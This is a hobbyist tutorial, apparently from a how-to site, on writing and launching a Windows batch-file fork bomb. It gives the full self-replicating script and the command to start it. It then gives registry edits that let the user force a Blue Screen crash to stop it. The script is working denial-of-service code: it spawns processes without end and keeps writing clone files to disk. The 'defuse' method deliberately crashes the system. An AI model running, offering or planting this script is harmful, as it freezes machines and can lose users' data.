Introduction: Program a Fork Bomb! As Well As Diffusing It

About: I want to post something useful, after all these years on this site, *I want to post something useful*.

 In this instructable, you will be making a fork bomb. A fork bomb is a batch file that copies itself. The copy will have the same programming and so will make a copy of itself, and the process continues until you've figured out a way to stop the process. Luckily, I've found something that will stop the reaction, but at the expense of restarting the computer using.. well.. the BSOD!!!! (aka. Blue Screen Of Death (the blue error screen?(never mind..))).


Special thanks to: wizerd 745 for the code

If you have a lot of experience in writing codes and stuff like that, this is not recommended because it looks so puny

Step 1: Programming


First off, copy this code into notepad:

@echo off
set name=%0
set clone=1
:start
:clone
If not exist clone%clone%.bat (
copy "%name%" "clone%clone%.bat"
) else (
set /a clone=%clone%+1
GoTo clone
)
start %name%
start clone%clone%.bat
GoTo start
pause

Save it into whatever folder you wish. Before saving it though, make sure there is the file extension ".bat" (including period, without quotes) after the file name and save it as "all files".

Step 2: Activating THE BOMB


I tried double clicking on the file once. Nothing happened, so I resorted to more technical methods. My motto for my PC: If everything else fails, use command prompt! And it worked! All you have to do is to type the following in command prompt:

start fork bomb.bat

Explanation: Type start, then the name of the .bat file including the .bat extension. What it does is, well, start the file! It's not really all technical or complicated, but I guess some of you haven't heard of command prompt. To open command prompt press start->all programs->accessories->command prompt. You would see a small window pop up. It looks kinda low tech, but I use it to get IP addresses to... That would be a different instructable.

Step 3: Diffuse the Bomb Before It Makes a Mess!

I use this method to get out of a situation where your computer has no restart  button and you're stuck with a fork bomb. The only con is that you need Windows XP for this. Google around for more solutions, but here's mine anyway (also Googled around).

Go to Start --> Run --> type "regedit"(a window should pop up) --> HKEY_LOCAL_MACHINE --> System --> Current Control Set --> Services --> i8042prt --> Parameters

You should now see what I see in pic. 1. Now right click on an empty space in the main window. Make a new "DWORD" value in there. When you right click, you will see the word "new" hover over that and a subset will pop up showing you options. Click on "DWORD Value". When that's done, a new file will pop up in the rename mode. Rename it to "CrashOnCtrlScroll". Right click on the new file and click on "modify". Another window will pop up with the "Value" section highlighted. Change the value to one. Don't do anything else but to change the value to 1. Now it's done.

To use the BSOD command, simply press and hold the right hand "alt" key and press the "scroll lock" key twice. You will now get a BSOD that will end your fork bomb misery!